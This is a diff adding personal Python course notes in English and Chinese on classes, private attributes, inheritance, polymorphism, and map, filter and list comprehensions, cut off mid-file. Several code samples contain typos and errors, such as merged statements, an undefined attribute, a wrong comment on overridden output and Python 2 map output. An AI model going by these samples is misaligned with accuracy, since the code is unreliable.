outline using comments + +### 21.1.2. Code One Section at a Time + +After you outline your program, you should write code one section at a time, and carefully test that section before you go on. + +find the right python code to express idea: + +1. **pulling out an item from a list or string or dictionary?** use [] to pull out the item you want. + +2. **transforming a string into another string?** summary of string methods. + +3. **modifying a list?** material on lists. + +4. **doing something multiple times?** for loop. + + ```py + for in : + + + ... + ``` + +5. **something that should only occur in some circumstances and not in others?** if statement. + + ```py + if : + + ... + else: + + ... + ``` + +6. **accumulator pattern?** making a skeleton version of it, and then fill it in. + + ```py + #initialize accumulator + a = + + for in : + + a = + + print(a) + ``` + +## 21.1.3. Clean Up + +No one really needs to see the test statements you wrote, and leaving test statements in the program might confuse when add more to the program. + +only limit comments. + + + + + + + + + + + + + + +. diff --git "a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.21.1.0a.\350\256\277\351\227\256\351\231\220\345\210\266(self.__name).md" "b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.21.1.0a.\350\256\277\351\227\256\351\231\220\345\210\266(self.__name).md" new file mode 100644 index 00000000000..6065d9fab9e --- /dev/null +++ "b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.21.1.0a.\350\256\277\351\227\256\351\231\220\345\210\266(self.__name).md" @@ -0,0 +1,201 @@ + +# Class + + +[toc] + + +## intro + +```py +class student(object): + + def __init__(self, name, score): + self.__name=name + self.__score=score + + def print_score(self): + print("%s:%s" % (self.__name, self.__score)) + + def get_grade(self): + if self.__score >= 90: + return 'A' + if self.__score >= 60: + return 'B' + else: + return 'C' + + def get_name(self): + return self.__name + + def get_score(self): + return self.__score + + def set_score(self, score): + if 0 <= score <= 100: + self.__score = score + else: + raise ValueError('bad score') +``` + + +### 访问限制 +在Class内部,可以有属性和方法 +- 外部代码可以通过直接调用`实例变量`的方法来操作数据 +- 这样,就隐藏了内部的复杂逻辑。 + +但是,外部代码还是可以自由地修改一个实例的name、score属性: + + ```py + >>> bart = Student('Bart Simpson', 59) + >>> bart.score + 59 + >>> bart.score = 99 + >>> bart.score + 99 + ``` + +--- + +1. 要让内部属性不被外部访问,把属性的名称前加上两个下划线`__` + - Python中,实例的`变量名`如果以`__`开头,就变成了一个私有变量(private),只有内部可以访问,外部不能访问 + +```py +class Student(object): + + def __init__(self, name, score): + self.name = name + self.score = score + + def print_score(self): + print('%s: %s' % (self.naself.score)) + +// 把Student类改一改: + +class Student(object): + + def __init__(self, name, score): + self.__name = name + self.__score = score + + def print_score(self): + print('%s: %s' % (self.__naself.__score)) +``` + +改完后,对于外部代码来说,没什么变动,但是已经无法从外部访问`实例变量.__name`和`实例变量.__score`了 +- 确保了外部代码不能随意修改对象内部的状态 +- 通过访问限制的保护,代码更加健壮。 + + ```py + >>> bart = Student('Bart Simpson', 59) + >>> bart.__name + Traceback (most recent call last): + File "", line 1, in + AttributeError: 'Student' object has no attribute '__name' + ``` + +--- + +2. 外部代码要获取name和score, 可以给Student类增加`get_name`和`get_score`这样的方法: + + ```py + class Student(object): + + def get_name(self): + return self.__name + + def get_score(self): + return self.__score + ``` + +--- + +3. 要允许外部代码修改score, 给Student类增加set_score方法: + +```py +class Student(object): + + def set_score(self, score): + self.__score = score +``` + +原先那种直接通过bart.score = 99也可修改, 为什么要定义一个方法 +- 因为在方法中,可以对参数做检查,避免传入无效的参数: + +```py +class Student(object): + ... + + def set_score(self, score): + if 0 <= score <= 100: + self.__score = score + else: + raise ValueError('bad score') +``` + +需要注意的是,在Python中,变量名类似`__xxx__`的,也就是以双下划线开头,并且以双下划线结尾的,是`特殊变量` +- 特殊变量是可以直接访问的,不是`private变量`,所以,不能用`__name__`、`__score__`这样的变量名。 + +有些时候,你会看到以一个下划线开头的实例变量名,比如`_name`,这样的实例变量外部是可以访问的 +- 但是按照约定俗成的规定,这样的变量意思是,“虽然我可以被访问,但是,请把我视为私有变量,不要随意访问”。 + +双下划线开头的实例变量是不是一定不能从外部访问呢?其实也不是。不能直接访问`__name`是因为Python解释器对外把`__name`变量改成了`_Student__name`,所以,仍然可以通过`_Student__name`来访问`__name`变量: + +```py +>>> bart._Student__name +'Bart Simpson' +``` + +- 但是强烈建议不要这么干,因为不同版本的Python解释器可能会把`__name`改成不同的变量名。 + +--- + +错误写法: + +```py +>>> bart = Student('Bart Simpson', 59) +>>> bart.get_name() +'Bart Simpson' +>>> bart.__name = 'New Name' # 设置__name变量! +>>> bart.__name +'New Name' +``` +表面上看,外部代码“成功”地设置了__name变量,但实际上这个__name变量和class内部的__name变量不是一个变量!内部的__name变量已经被Python解释器自动改成了_Student__name,而外部代码给bart新增了一个__name变量。 + +``` +>>> bart.get_name() # get_name()内部返回self.__name +'Bart Simpson' +``` + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.22.0.Class_Inheritance.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.22.0.Class_Inheritance.md new file mode 100644 index 00000000000..4f1b903c2cc --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.22.0.Class_Inheritance.md @@ -0,0 +1,792 @@ + +# 22. Inheritance + +- [22. Inheritance](#22-inheritance) + - [Introduction: Class Inheritance](#introduction-class-inheritance) + - [22.2. Inheriting Variables and Methods](#222-inheriting-variables-and-methods) + - [22.2.1. Mechanics of Defining a Subclass](#2221-mechanics-of-defining-a-subclass) + - [22.2.2. How the interpreter looks up attributes](#2222-how-the-interpreter-looks-up-attributes) + - [The `__init__()` Method for a Child Class](#the-__init__-method-for-a-child-class) + - [Instances as Attributes](#instances-as-attributes) + - [22.3. `Overrid` 覆写 Methods](#223-overrid-覆写-methods) + - [22.4. Invoke 调用 the Parent Class’s Method](#224-invoke-调用-the-parent-classs-method) + - [继承和多态](#继承和多态) + - [继承](#继承) + - [继承好处](#继承好处) + - [多态](#多态) + - [多态的好处](#多态的好处) + - [静态语言 vs 动态语言](#静态语言-vs-动态语言) + - [Importing Classes](#importing-classes) + - [Importing a Single Class](#importing-a-single-class) + + + + +--- + +```py +class Animal(object): # 编写 Animal类 + def run(self): + print("Animal is running...") + +class Dog(Animal): # Dog类 继承 Amimal类,没有run方法 + pass + + dog = Dog() + dog.run() + # Animal is running... +----------------------------------------- +class Cat(Animal): # Cat类 继承 Animal类,有自己的run方法 + def run(self): + print("Cat is running...") + + kitty = Cat() + kitty.run() + # Animal is running... +----------------------------------------- +class Tortoise(Animal): + def run(self): + print('Tortoise is running slowly...') + +class Car(object): # Car类不继承,有自己的run方法 + def run(self): + print('Car is running...') + +class Stone(object): # Stone类不继承,也没有run方法 + pass + +def run_twice(animal): + animal.run() + animal.run() + +run_twice(Animal()) +run_twice(Dog()) +run_twice(Cat()) +run_twice(Car()) +run_twice(Stone()) +#结果如下: +Animal is running... +Animal is running... +Animal is running... +Animal is running... +Cat is running... +Cat is running... +Car is running... # Car类不继承,有自己的run方法 +Car is running... +AttributeError: 'Stone' object has no attribute 'run' +``` + +--- + +## Introduction: Class Inheritance + +```py +from random import randrange + +class Pet(): + boredom_decrement = 5 + hunger_decrement = 5 + boredom_threshold = 5 + hunger_threshold = 10 + sounds = ['Mrrp'] + + def __init__(self, name = "Kitty", pet_type="dog"): + self.name = name + self.hunger = randrange(self.hunger_threshold) + self.boredom = randrange(self.boredom_threshold) + self.sounds = self.sounds[:] # copy the class attribute, so that when we make changes to it, we won't affect the other Pets in the class + self.pet_type = pet_type + + def mood(self): + if self.hunger <= self.hunger_threshold and self.boredom <= self.boredom_threshold: + if self.pet_type == "dog": + return "happy" + elif self.pet_type == "cat": + return "happy, probably" + else: + return "HAPPY" + elif self.hunger > self.hunger_threshold: + if self.pet_type == "dog": + return "hungry, arf" + elif self.pet_type == "cat": + return "hungry, meeeeow" + else: + return "hungry" + else: + return "bored" +``` + + +## 22.2. Inheriting Variables and Methods + +### 22.2.1. Mechanics of Defining a Subclass + +Inheritance provides us with an easy and elegant way to represent these differences. + +Basically, it works by defining a new class, and using a special syntax to show what the new `sub-class` inherits from a `super-class`. + +- to define a `Dog` class as a special kind of `Pet`, you would say that the `Dog` type inherits from the `Pet` type. + +- In the definition of the inherited class, only need to specify the methods and instance variables that are different from the parent class (the parent class/superclass) + + +want the Cat type to be exactly the same as Pet, except we want the sound cats to start out knowing “meow” instead of “mrrp”, and we want the Cat class to have its own special method called chasing_rats, which only Cat s have. + +```py +from random import randrange + +# Here's the original Pet class +class Pet(): + boredom_decrement = 4 + hunger_decrement = 6 + boredom_threshold = 5 + hunger_threshold = 10 + sounds = ['Mrrp'] + def __init__(self, name = "Kitty"): + self.name = name + self.hunger = randrange(self.hunger_threshold) + self.boredom = randrange(self.boredom_threshold) + self.sounds = self.sounds[:] + + def hi(self): + print(self.sounds[randrange(len(self.sounds))]) + self.reduce_boredom() + +# Cat class inherits from the Pet class +# put the superclass word `Pet` in parentheses +class Cat(Pet): + sounds = ['Meow'] + + def chasing_rats(self): + return "What are you doing, Pinky? Taking over the world?!" + + +# inherits from Cat, which inherits from Pet +class Cheshire(Cat): + def smile(self): + print(":D :D :D") + + +cat1 = Cat("Fluffy") +cat1.feed() # fine, as cat class inherits from the Pet class! +cat1.hi() # Uses the special Cat hello. +print(cat1) +print(cat1.chasing_rats()) + + +new_cat = Cheshire("Pumpkin") # Cheshire cat instance +new_cat.hi() # same as Cat! +new_cat.chasing_rats() # OK, as Cheshire inherits from Cat +new_cat.smile() # Only for Cheshire instances (and any classes that you make inherit from Cheshire) + +# cat1.smile() # This line would give you an error, because the Cat class does not have this method! + +# None of the subclass methods can be used on the parent class, though. +p1 = Pet("Teddy") +p1.hi() # just the regular Pet hello +#p1.chasing_rats() # This will give you an error -- this method doesn't exist on instances of the Pet class. +#p1.smile() # This will give you an error, too. This method does not exist on instances of the Pet class. + +``` + +### 22.2.2. How the interpreter looks up attributes + +how the interpreter looks up attributes: + +1. First, it checks for an `instance variable/method` by the name. + +2. If an `instance variable/method` by that name is not found, it checks for a `class variable`. (See the previous chapter for an explanation of the difference between instance variables and class variables.) + +3. If no `class variable` is found, it looks for a `class variable` in the `parent class`. + +4. If no `class variable` is found, the interpreter looks for a class variable in THAT class’s parent (the “grandparent” class). + +5. This process goes on until the last ancestor is reached, at which point Python will signal an error. + +--- + +```py +new_cat = Cheshire("Pumpkin") +print(new_cat.name) +``` + +Python looks for the `instance variable` name in the `new_cat instance`. +- In this case, it exists. The name on this instance of Cheshire is Pumpkin. + +--- + +```py +cat1 = Cat("Sepia") +cat1.hi() +``` + +The Python interpreter looks for `hi` in the instance of `Cat`. +- It does not find it, because there’s no statement of the form `cat1.hi = ....` (if you had set an instance variable on Cat called hi it would be a bad idea, because you would not be able to use the method that it inherited anymore. We’ll see more about this later.) +- Then it looks for a class variable/method `hi` in the class Cat , and still doesn’t find it. +- Next, it looks for a class variable `hi` on the parent of class Cat , Pet class +- It finds that – there’s a method called `hi` on the Pet class . Because of the () after hi, the method is invoked. + +--- + +```py +p1 = Pet("Teddy") +p1.chasing_rats() +``` + +The Python interpreter looks for an instance variable/method called `chasing_rats` on the Pet class +- It doesn’t exist. Pet class has no parent classes, so Python signals an error. + +--- + +```py +new_cat = Cheshire("Pumpkin") +``` + +Neither Cheshire nor Cat defines an `__init__` constructor method +- so the grandaprent Pet class will have it's `__init__` method called. +- That constructor method sets the instance variables name, hunger, boredom, and sounds. + +--- + +## The `__init__()` Method for a Child Class + +Child Class: +- The `__init__()` method: takes in the information required to make a Car instance. +- The `super()` function: + - a special function to call method from the parent class. + - tells Python to call the __init__() method from Car, which gives an ElectricCar instance all the attributes defined in that method. + +```py +class Car: + def __init__(self, make, model, year): + self.make = make + self.model = model self.year = year self.odometer_reading = 0 + + def get_descriptive_name(self): + long_name = f"{self.year} {self.manufacturer} {self.model}" + return long_name.title() + + def read_odometer(self): + print(f"This car has {self.odometer_reading} miles on it.") + + def update_odometer(self, mileage): + if mileage >= self.odometer_reading: + self.odometer_reading = mileage else: + print("You can't roll back an odometer!") + + def increment_odometer(self, miles): + self.odometer_reading += miles + +class ElectricCar(Car): + + def __init__(self, make, model, year): + super().__init__(make, model, year) + self.battery_size = 75 + + # Overriding Methods from the Parent Class + def fill_gas_tank(self): + print("This car doesn't need a gas tank!") + +my_tesla = ElectricCar('tesla', 'model s', 2019) +my_tesla.battery.describe_battery() + +print(my_tesla.get_descriptive_name()) + +``` + + +### Instances as Attributes + +```py +class Battery: + def __init__(self, battery_size=75): + self.battery_size = battery_size + + def get_range(self): + if self.battery_size == 75: + range = 260 + elif self.battery_size == 100: + range = 315 + print(f"This car can go about {range} miles on a full charge.") + + def describe_battery(self): + print(f"This car has a {self.battery_size}-kWh battery.") + + +class ElectricCar(Car): + def __init__(self, make, model, year): + super().__init__(make, model, year) + # Instances as Attributes + self.battery = Battery() + + # Overriding Methods from the Parent Class + def fill_gas_tank(self): + print("This car doesn't need a gas tank!") + +my_tesla = ElectricCar('tesla', 'model s', 2019) + +my_tesla.battery.describe_battery() +my_tesla.battery.get_range() + +# 2019 Tesla Model S +# This car has a 75-kWh battery. +# This car can go about 260 miles on a full charge. +``` + +--- + +## 22.3. `Overrid` 覆写 Methods + + +`Overrid` 覆写 Methods: + +```py + +class Parent(Object): + + def samename(self): + statement1 + +class child(Parent): + + def samename(self): + statement2 + # will only performer statement2 +``` + + +```py +keep the original Pet class. + +make two `subclasses`, Dog and Cat. +- Dogs are always happy unless they are bored and hungry. +- Cats are happy only if they are fed and if their boredom level is in a narrow range and, even then, only with probability 1/2. + +# the original Pet class again. +class Cat(Pet): + sounds = ['Meow'] + + def mood(self): + if self.hunger > self.hunger_threshold: + return "hungry" + if self.boredom <2: + return "grumpy; leave me alone" + elif self.boredom > self.boredom_threshold: + return "bored" + elif randrange(2) == 0: + return "randomly annoyed" + else: + return "happy" + +class Dog(Pet): + sounds = ['Woof', 'Ruff'] + def mood(self): + if (self.hunger > self.hunger_threshold) and (self.boredom > self.boredom_threshold): + return "bored and hungry" + else: + return "happy" + +c1 = Cat("Fluffy") +d1 = Dog("Astro") + +c1.boredom = 1 +print(c1.mood()) # grumpy; leave me alone +c1.boredom = 3 +for i in range(10): + print(c1.mood()) +print(d1.mood()) + +``` + +--- + +## 22.4. Invoke 调用 the Parent Class’s Method + +`Invoke` 覆写 Methods: + +```py + +class Parent(Object): + + def samename(self): + statement1 + +class child(Parent): + + def samename(self): + Parent.samename(self) + statement2 + # will performer both statement1&2 +``` + + +```py + +class superclass(): + + def __init__(self,x): + self.x=x + + def method(self): + print(1) + + +class childclass(superclass): + + def __init__(self,x,y=2): + superclass.__init__(self,x) + self.y=y + + def method(self): + superclass.method(self) + print(2) +``` + +Sometimes the parent class has a useful method, +- just need to execute a little extra code when running the subclass’s method. +- override the parent class’s method in the subclass’s method with the same name, or invoke the parent class’s method. + +```py + +# the original Pet class again. + +class Pet(): + boredom_decrement = 4 + hunger_decrement = 6 + boredom_threshold = 5 + hunger_threshold = 10 + sounds = ['Mrrp'] + def __init__(self, name = "Kitty"): + self.name = name + self.hunger = randrange(self.hunger_threshold) + self.boredom = randrange(self.boredom_threshold) + self.sounds = self.sounds[:] # copy the class attribute, so that when we make changes to it, we won't affect the other Pets in the class + + def feed(self): + self.reduce_hunger() + +// wanted the Dog subclass of Pet to say “Arf! Thanks!” when the feed method is called + +class Dog(Pet): + sounds = ['Woof', 'Ruff'] + + def feed(self): + Pet.feed(self) + print("Arf! Thanks!") + +# if the Pet.feed(self) line was deleted? +# no longer calling the parent Pet class's method in the Dog subclass's method definition, the class definition will override the parent method. +# the actions defined in the parent method feed will not happen, and only Arf! Thanks! will be printed. +# The string would print but d1 would not have its hunger reduced. + +d1 = Dog("Astro") +d1.feed() +# +Arf! Thanks! +``` + +here’s a subclass that overrides feed() by invoking the the parent class’s feed() method; +- it then also executes an extra line of code. Note the somewhat inelegant way of invoking the parent class’ method. +- We explicitly refer to `Pet.feed` to get the method/function object. We invoke it with parentheses. However, since we are not invoking the method the normal way, with `.methodname`, we have to explicitly pass an instance as the first parameter. +- In this case, the variable `self` in `Dog.feed()` will be bound to an instance of Dog, and so just pass `self`: `Pet.feed(self)`. + + +This technique is very often used with the `__init__` method for a subclass. +- some extra instance variables are defined for the subclass. +- When you invoke the constructor, you pass all the regular parameters for the parent class, plus the extra ones for the subclass. +- The subclass’ `__init__` method then stores the extra parameters in instance variables and calls the parent class’ `__init__` method to store the common parameters in instance variables and do any other initialization that it normally does. + +```py +class Pet(): + + def hi(self): + print(self.sounds[randrange(len(self.sounds))]) + self.reduce_boredom() + +class Bird(Pet): + sounds = ["chirp"] + + def __init__(self, name="Kitty", chirp_number=2): + Pet.__init__(self, name) # call the parent class's constructor + # basically, call the SUPER -- the parent version -- of the constructor, with all the parameters that it needs. + self.chirp_number = chirp_number # now, also assign the new instance variable + + def hi(self): + for i in range(self.chirp_number): + print(self.sounds[randrange(len(self.sounds))]) + print(8) + self.reduce_boredom() + +b1 = Bird('tweety', 5) +b1.teach("Polly wanna cracker") +b1.hi() +# overwrite +Polly wanna cracker +8 +Polly wanna cracker +8 +chirp +8 +Polly wanna cracker +8 +chirp +8 +``` + +--- +--- + +## 继承和多态 + +### 继承 +在Object Oriented Programming OOP程序设计中,当我们定义一个class的时候,可以从某个现有的class继承,新的class称为`子类 Subclass`,而被继承的class称为`基/父/超类(Base / Super class)`。 + +比如 + +```py + +1. 编写了一个名为`Animal`的`class` + - 有一个run()方法可以直接打印: + + class Animal(object): + def run(self): + print('Animal is running...') + + +2. 需要编写Dog和Cat类时,就可以直接从Animal类继承: + - 于Dog来说,Animal就是它的父类 + - 对于Animal来说,Dog就是它的子类。Cat和Dog类似。 + + class Dog(Animal): + pass + + class Cat(Animal): + pass +``` + +### 继承好处 + +```py + +1. 最大的好处是子类获得了父类的全部功能。 + - 由于Animial实现了run()方法,因此,Dog和Cat作为它的子类,什么事也没干,就自动拥有了run()方法: + + dog = Dog() + dog.run() + + cat = Cat() + cat.run() + # 结果 + Animal is running... + Animal is running... + + +2. 可以对子类增加一些方法,比如Dog类: + + class Dog(Animal): + + def eat(self): + print('Eating meat...') + + +3. 可以对代码做改进 + + class Dog(Animal): + + def run(self): + print('Dog is running...') + + class Cat(Animal): + + def run(self): + print('Cat is running...') + # 结果 + Dog is running... + Cat is running... +``` + +当子类和父类都存在相同的run()方法时, +- 子类的run()覆盖了父类的run() +- 在代码运行的时候,总是会调用子类的run()。 +- 这样,我们就获得了继承的另一个好处:`多态`。 + + +### 多态 + +- 当定义一个`class`的时候,我们实际上就定义了一种数据类型。 +- 我们定义的数据类型和Python自带的数据类型,比如str、list、dict没什么两样 + +```py +a = list() # a是list类型 +b = Animal() # b是Animal类型 +c = Dog() # c是Dog类型 + +判断一个变量是否是某个类型可以用 isinstance() 判断: +>>> isinstance(a, list) +True +>>> isinstance(b, Animal) +True +>>> isinstance(c, Dog) +True +# a、b、c确实对应着list、Animal、Dog这3种类型。 +>>> isinstance(c, Animal) +True +# c不仅仅是Dog,c还是Animal! +``` + +因为Dog是从Animal继承下来的,当创建一个Dog的实例c,c的数据类型是Dog,同时也是Animal,Dog本来就是Animal的一种 + +所以,在继承关系中,如果一个实例的数据类型是某个子类,那它的数据类型也可以被看做是父类。但是,反过来就不行: + +```py +>>> b = Animal() +>>> isinstance(b, Dog) +False +Dog可以看成Animal,但Animal不可以看成Dog。 +``` + + +### 多态的好处 + + +```py +编写一个函数接受一个Animal类型的变量: + +def run_twice(animal): + animal.run() + animal.run() + +# 当我们传入Animal的实例时,run_twice()就打印出: +>>> run_twice(Animal()) +Animal is running... +Animal is running... + +# 当我们传入Dog的实例时,run_twice()就打印出: +>>> run_twice(Dog()) +Dog is running... +Dog is running... + +# 当我们传入Cat的实例时,run_twice()就打印出: +>>> run_twice(Cat()) +Cat is running... +Cat is running... + +如果再定义一个Tortoise类型,也从Animal派生: + +class Tortoise(Animal): + def run(self): + print('Tortoise is running slowly...') +# 调用run_twice() +>>> run_twice(Tortoise()) +Tortoise is running slowly... +Tortoise is running slowly... + +新增一个Animal的子类,不必对run_twice()做任何修改 +- 任何依赖Animal作为参数的函数或者方法都可以不加修改地正常运行,原因就在于多态。 +``` + + +1. 多态的好处就是,当我们需要传入Dog、Cat、Tortoise……时,我们只需要接收Animal类型就可以了,因为Dog、Cat、Tortoise……都是Animal类型,然后,按照Animal类型进行操作即可。 + - 由于Animal类型有run()方法,因此,传入的任意类型,只要是Animal类或者子类,就会自动调用实际类型的run()方法,这就是多态的意思: + +对于一个变量,只需要知道它是Animal类型,无需确切地知道它的子类型,就可以调用run()方法, +- 而具体调用的run()方法是作用在Animal、Dog、Cat还是Tortoise对象上,由运行时该对象的确切类型决定,这就是多态真正的威力: +- 调用方只管调用,不管细节, +- 而当新增一种Animal的子类时,只要确保run()方法编写正确,不用管原来的代码是如何调用的。这就是著名的`“开闭”原则`: + +对扩展开放:允许新增Animal子类; + +对修改封闭:不需要修改依赖 Animal类型的 run_twice() 等函数。 + +继承还可以一级一级地继承下来,就好比从爷爷到爸爸、再到儿子这样的关系。而任何类,最终都可以追溯到根类object,这些继承关系看上去就像一颗倒着的树。比如如下的继承树: + +```py + ┌───────────────┐ + │ object │ + └───────────────┘ + │ + ┌────────────┴────────────┐ + │ │ + ▼ ▼ + ┌─────────────┐ ┌─────────────┐ + │ Animal │ │ Plant │ + └─────────────┘ └─────────────┘ + │ │ + ┌─────┴──────┐ ┌─────┴──────┐ + │ │ │ │ + ▼ ▼ ▼ ▼ +┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ +│ Dog │ │ Cat │ │ Tree │ │ Flower │ +└─────────┘ └─────────┘ └─────────┘ └─────────┘ +``` + +## 静态语言 vs 动态语言 +对于静态语言(例如Java)来说,如果需要传入Animal类型,则传入的对象必须是Animal类型或者它的子类,否则,将无法调用run()方法。 + +对于Python这样的动态语言来说,则不一定需要传入Animal类型。我们只需要保证传入的对象有一个run()方法就可以了: + +class Timer(object): + def run(self): + print('Start...') + +这就是动态语言的“鸭子类型”,它并不要求严格的继承体系,一个对象只要“看起来像鸭子,走起路来像鸭子”,那它就可以被看做是鸭子。 + +Python的`“file-like object“`就是一种鸭子类型。对真正的文件对象,它有一个read()方法,返回其内容。但是,许多对象,只要有read()方法,都被视为“file-like object“。许多函数接收的参数就是“file-like object“,你不一定要传入真正的文件对象,完全可以传入任何实现了read()方法的对象。 + +--- + +继承可以把父类的所有功能都直接拿过来,这样就不必重零做起,子类只需要新增自己特有的方法,也可以把父类不适合的方法覆盖重写。 + +动态语言的鸭子类型特点决定了继承不像静态语言那样是必须的。 + +--- + +## Importing Classes + +### Importing a Single Class + +```py +car.py: + +class Car: +"""A simple attempt to represent a car.""" +``` + +1. Importing a Single Class + +```py +from car import Car + +my_new_car = Car('audi', 'a4', 2019) +my_new_car.odometer_reading = 23 +my_new_car.read_odometer() +``` + +2. Storing Multiple Classes in a Module + +```py +from car import ElectricCar +my_tesla = ElectricCar('tesla', 'model s', 2019) +``` + + +3. Importing Multiple Classes from a Module + +```py +from car import Car, ElectricCar +``` + +4. Importing an Entire Module + +```py +import car +``` + +5. Using Aliases + +```py +from car import ElectricCar as EC +``` + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.0.Accumulation.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.0.Accumulation.md new file mode 100644 index 00000000000..6360419ee9f --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.0.Accumulation.md @@ -0,0 +1,107 @@ + +# 23. Accumulation 积累: + +Map, Filter, List Comprehension, and Zip + +[toc] + +## 23.1. Introduction + +accumulator pattern, frequently taken a list and produced another list from it that contains either a subset of the items or a transformed version of each item. +- `Mapping`: When each item is transformed, a map of the original list. +- `filter`: When some items are omitted. + + +Python provides built-in functions `map` and `filter`. Python also provides a new syntax, called list comprehensions, that lets you express a mapping and/or filtering operation. + + + +## example: + +```py + +1. + +def lengths(strings): + """lengths takes a list of strings as input and returns a list of numbers that are the lengths + of strings in the input list. Use manual accumulation!""" + # fill in this function's definition to make the test pass. + a= map(lambda string: len(string), list(filter(lambda string:type(string)==type('s'), strings) )) + return a + + + +2. returns a list of only the positive things, [3, 5, 7] + + things = [3, 5, -4, 7] + + def positives_Fil(things): + return filter(lambda x:x in [3, 5, 7], things) + return [x for x in things if x in [3, 5, 7]] + + + +3. + + def longwords(strings): + """Return a shorter list of strings + containing only the strings with more than four characters. + Use manual accumulation.""" + # Use manual accumulation + return [x for x in strings if len(x)>4] + # using filter. + return filter(lambda x:len(x)>4, strings) + + +4. returns the lengths of those strings that have at least 4 characters. + + def longlengths(strings): + return [len(x) for x in strings if len(x)>4] + # using map and filter. + return map(lambda x:len(x) ,filter(lambda x:len(x)>4, strings)) + + +5. + + L1 = [1, 2, 3, 4] + L2 = [4, 3, 2, 3] + L3 = [0, 5, 0, 5] + + goodnum=[] + for i in [(x1,x2,x3) for (x1,x2,x3) in zip(L1,L2,L3)]: + goodnum.append(sorted(i)) + print(goodnum) + + maxs = [num[-1] for num in goodnum] + print(maxs) + + +6. + + tester = {'info': [{"name": "Lauren", 'class standing': 'Junior', 'major': "Information Science"},{'name': 'Ayo', 'class standing': "Bachelor's", 'major': 'Information Science'}, {'name': 'Kathryn', 'class standing': 'Senior', 'major': 'Sociology'}, {'name': 'Nick', 'class standing': 'Junior', 'major': 'Computer Science'}, {'name': 'Gladys', 'class standing': 'Sophomore', 'major': 'History'}, {'name': 'Adam', 'major': 'Violin Performance', 'class standing': 'Senior'}]} + + compri_sample = [ subdic['name'] for subdic in tester['info'] if subdic['class standing']=='Junior'] + + +7. + + print( [ sublst[n] for n in range(5) for sublst in ['BigBlueberry','berry'] ]) + +``` + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.2.Map.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.2.Map.md new file mode 100644 index 00000000000..21956d5c9c0 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.2.Map.md @@ -0,0 +1,82 @@ + +## 23.2. Map + +`map(function, sequence)` +- The `function` is the mapper that transforms items. It is automatically applied to each item in the sequence. don’t have to initialize an accumulator or iterate with a for loop at all. +- 根据提供的函数对指定序列做映射。 +- 第一个参数 function 以参数序列中的每一个元素调用 function 函数,返回包含每次 function 函数返回值的新列表。 + + + + +```py + +1. def a Functions + + def doubleStuff(a_list): + """ Return a new list in which contains doubles of the elements in a_list. """ + new_list = [] + for value in a_list: + new_elem = 2 * value + new_list.append(new_elem) + return new_list + + things = [2, 5, 9] + print(things) + things = doubleStuff(things) + print(things) + + +2. python offers a more general way to do mappings, the map function + + def triple(value): + return 3*value + + def tripleStuff(a_list): + new_seq = map(triple, a_list) + return list(new_seq) + + def quadrupleStuff(a_list): + new_seq = map(lambda value: 4*value, a_list) + return list(new_seq) + + things = [2, 5, 9] + + things3 = tripleStuff(things) + print(things3) + + things4 = quadrupleStuff(things) + print(things4) + + things4 = map((lambda value: 4*value), things) + print(list(things4)) + # or all on one line + print(list(map((lambda value: 5*value), [1, 2, 3]))) + + +3. + + lst = [["hi", "bye"], "hello", "goodbye", [9, 2], 4] + # doubles each element in the list lst. + greeting_doubled=list( map(lambda value:2*value, lst)) + + + abbrevs = ["usa", "esp", "chn", "jpn", "mex", "can", "rus", "rsa", "jam"] + # all the same strings in upper case. + abbrevs_upper=list(map(lambda value:value.upper(),abbrevs)) + + + + +>>> def square(x) : return x ** 2 +>>> map(square, [1,2,3,4,5]) +# 计算列表各个元素的平方 +[1, 4, 9, 16, 25] + +>>> map(lambda x: x ** 2, [1, 2, 3, 4, 5]) +# 使用 lambda 匿名函数 +[1, 4, 9, 16, 25] + + + +``` diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.3.Filter.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.3.Filter.md new file mode 100644 index 00000000000..9c1d03099f3 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.3.Filter.md @@ -0,0 +1,40 @@ +## 23.3. Filter + +`filter`: going through a list and keeping only those items that meet certain criteria. + +`filter(function, sequence)`. +- The function takes one `item` and return `True` if the item should. +- It is automatically called for each item in the sequence. don’t have to initialize an accumulator or iterate with a for loop. + + +```py + +1. def a Functions + + def keep_evens(nums): + new_list = [] + for num in nums: + if num % 2 == 0: + new_list.append(num) + return new_list + print(keep_evens([3, 4, 6, 7, 0, 1])) + + +2. + + def keep_evens(nums): + new_seq = filter(lambda num: num % 2 == 0, nums) + return list(new_seq) + + print(keep_evens([3, 4, 6, 7, 0, 1])) + + +3. + + lst_check = ['plums', 'watermelon', 'kiwi', 'strawberries', 'blueberries', 'peaches', 'BigBlueberry', 'mangos', 'papaya'] + # elements in lst_check that have a w + filter_testing=list( filter( lambda value: 'w' in value, lst_check) ) + + + +``` diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.4.ListComprehensions.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.4.ListComprehensions.md new file mode 100644 index 00000000000..64e0b0dc4b0 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.4.ListComprehensions.md @@ -0,0 +1,161 @@ + +## 23.4. List Comprehensions + +`List comprehensions` +- Python provides an 